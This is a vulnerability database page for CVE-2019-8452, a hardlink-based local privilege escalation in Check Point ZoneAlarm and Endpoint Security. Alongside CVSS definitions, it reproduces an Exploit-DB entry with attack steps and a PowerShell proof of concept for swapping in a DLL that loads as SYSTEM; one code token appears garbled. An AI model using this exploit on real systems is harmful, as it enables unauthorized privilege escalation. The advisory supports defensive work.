CVE-2019-8452 : Detail

CVE-2019-8452

7.8
/
High
A01-Broken Access Control
0.06%V3
Local
2019-04-22
19h43 +00:00
2019-10-07
14h06 +00:00
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CVE Descriptions

A hard-link created from log file archive of Check Point ZoneAlarm up to 15.4.062 or Check Point Endpoint Security client for Windows before E80.96 to any file on the system will get its permission changed so that all users can access that linked file. Doing this on files with limited access gains the local attacker higher privileges to the file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-65 Windows Hard Link
The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 47471

Publication date : 2019-10-06 22h00 +00:00
Author : Jakub Palaczynski
EDB Verified : No

# Exploit Title: CheckPoint Endpoint Security Client/ZoneAlarm 15.4.062.17802 - Privilege Escalation # Date: 2019-01-30 # Exploit Author: Jakub Palaczynski # Vendor Homepage: https://www.checkpoint.com/ # Version: Check Point Endpoint Security VPN <= E80.87 Build 986009514 # Version: Check Point ZoneAlarm <= 15.4.062.17802 # CVE: CVE-2019-8452 Description: ============ It is possible to change permissions of arbitrary file so that user have full control over it after exploitation which results in Local Privilege Escalation. It was found that Check Point software (Endpoint Security Client and ZoneAlarm) uses tvDebug.log file stored in "C:\Windows\Internet Logs\tvDebug.log" or in ProgramData, for example "C:\ProgramData\CheckPoint\ZoneAlarm\Logs\tvDebug.log". Over this log file all authenticated users have full control and it was found that Check Point service writes to it with SYSTEM privileges. However this file could not be used for exploitaion as it is always used/taken by Check Point service so for example this is why users cannot delete it in normal conditions (unless service crashes and/or is restarted). However it was noticed that when this log file reaches some limit (depending on software) then it is archived to the same location and name but with ZIP extension. The same permissions are set for this archive file so all authenticated users can access it. Taking all of this into account we can create an attack scenario: 1. If tvDebug.zip file exists then delete it 2. Create hardlink (using CreateHardlink.exe) named tvDebug.zip which points to other file that we would like to have permissions to (this file must not be taken by other process when Check Point service tries to use it) 3. Fill tvDebug.log log file above the limit. For ZoneAlarm it is 50Mb, for VPN it is 20Mb. It can be done by using software as normal user. 4. Restart system as service needs to be restarted to make an archive. 5. Now your file has permissions changed and you have all access to it. 6. If we pointed to "C:\Program Files (x86)\CheckPoint\Endpoint Connect\LogonISReg.dll" in step 2 then we can replace this DLL with custom one. 7. Click "VPN Options" in Client GUI and then close this windows. Closing "VPN Options" window forces LogonISReg.dll to be loaded with SYSTEM privileges. Proof of Concept: ================= # PoC written in PowerShell to fully exploit Check Point Endpoint Client. It can be used also to exploit ZoneAlarm. # file that we want to have permissions to # LogonISReg.dll is not used on startup and we can force to load it with SYSTEM privileges after exploitation $file = "C:\Program Files (x86)\CheckPoint\Endpoint Connect\LogonISReg.dll" # path to symboliclink testing tools CreateHardlink.exe # CreateHardlink.exe is a tool created by James Forshaw - https://github.com/googleprojectzero/symboliclink-testing-tools $hardlink = "C:\Temp\CreateHardlink.exe" Write-Host "[!] Detecting Check Point software." if ([System.IO.File]::Exists("$env:windir\Internet Logs\tvDebug.log")) { $logfile = "$env:windir\Internet Logs\tvDebug.zip" Write-Host "[+] Check Point Endpoint Security found." } elseif ([System.IO.File]::Exists("$env:programdata\CheckPoint\ZoneAlarm\Logs\tvDebug.log")) { $logfile = "$env:programdata\CheckPoint\ZoneAlarm\Logs\tvDebug.zip" Write-Host "[+] Check Point ZoneAlarm found." } else { Write-Host "[-] Check Point software was not found." } Write-Host "[!] Trying to delete tvDebug.zip file." if ([System.IO.File]::Exists($logfile)) { while ([System.IO.File]::Exists($logfile)) { Remove-Item -Force 朴ath $logfile -ErrorAction SilentlyContinue } Write-Host "[+] Successfully deleted tvDebug.zip archive file." } else { Write-Host "[+] tvDebug.zip archive file was not found." } Write-Host "[!] Creating hardlink to a file that we would like to change permissions." Start-Process -FilePath "cmd.exe" -ArgumentList "/c $hardlink `"$logfile`" `"$file`"" while (!([System.IO.File]::Exists($logfile))) { Sleep 1 } Write-Host "[+] Hardlink successfully created." Write-Host "[!] 1. Fill log file up to the limit and restart computer." Write-Host "[!] 2. Now when permissions are changed replace LogonISReg.dll with your custom DLL." Write-Host "[!] 3. Click VPN Options in Client GUI and close this window to force DLL load."

Products Mentioned

Configuraton 0

Checkpoint>>Endpoint_security >> Version To (excluding) e80.96

    Checkpoint>>Zonealarm >> Version To (including) 15.4.062

    References